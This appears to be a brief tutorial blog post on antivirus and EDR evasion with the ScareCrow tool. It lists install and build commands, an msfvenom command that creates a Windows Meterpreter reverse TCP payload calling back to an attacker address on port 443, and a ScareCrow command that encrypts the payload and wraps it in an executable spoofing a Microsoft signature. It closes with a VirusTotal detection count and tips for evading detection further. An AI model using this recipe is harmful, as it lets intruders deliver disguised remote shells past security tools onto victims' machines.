AV Evasion with Scarecrow

What is Scarecrow?

Scarecrow is an open-source tool that allows you to create and execute malicious payloads while evading detection by AV and EDR solutions. It works by leveraging various techniques, such as code obfuscation, API call abstraction, and process hollowing, to make it harder for security solutions to identify and block malicious activities.

Lets install ScarCrow First in our kali machine.

https://github.com/Tylous/ScareCrow

```
git clone https://github.com/Tylous/ScareCrow

cd ScareCrow

sudo apt install openssl

sudo apt install osslsigncode

sudo apt install osslsigncode

go get github.com/fatih/color
go get github.com/yeka/zip
go get github.com/josephspurrier/goversioninfo
go get github.com/Binject/debug/pe
go get github.com/awgh/rawreader
```

- Lets build it now.

```
go build ScareCrow.go
```

Lets create a bin file for the Scarecrow first, i am taking our usual Meterpreter payload.

```
sudo msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.29.82
LPORT=443 -f raw -o av-bypass.bin
```

Now that we have the bin file. Lets use Scarecrow to generate a microsoft office based executable file signed by Microsoft.

```
./ScareCrow -I av-bypass.bin -domain www.microsoft.com -encryptionmode AES
```

Next, i uploaded our created binary on virustotal and out of 74 Antivirus solutions, 36 marked it as malicious.

Again, we can still improve on this by using custom shellcodes and layering it with different packers. The objective here was to familiarise yourself with the world of AV and EDR evasion.
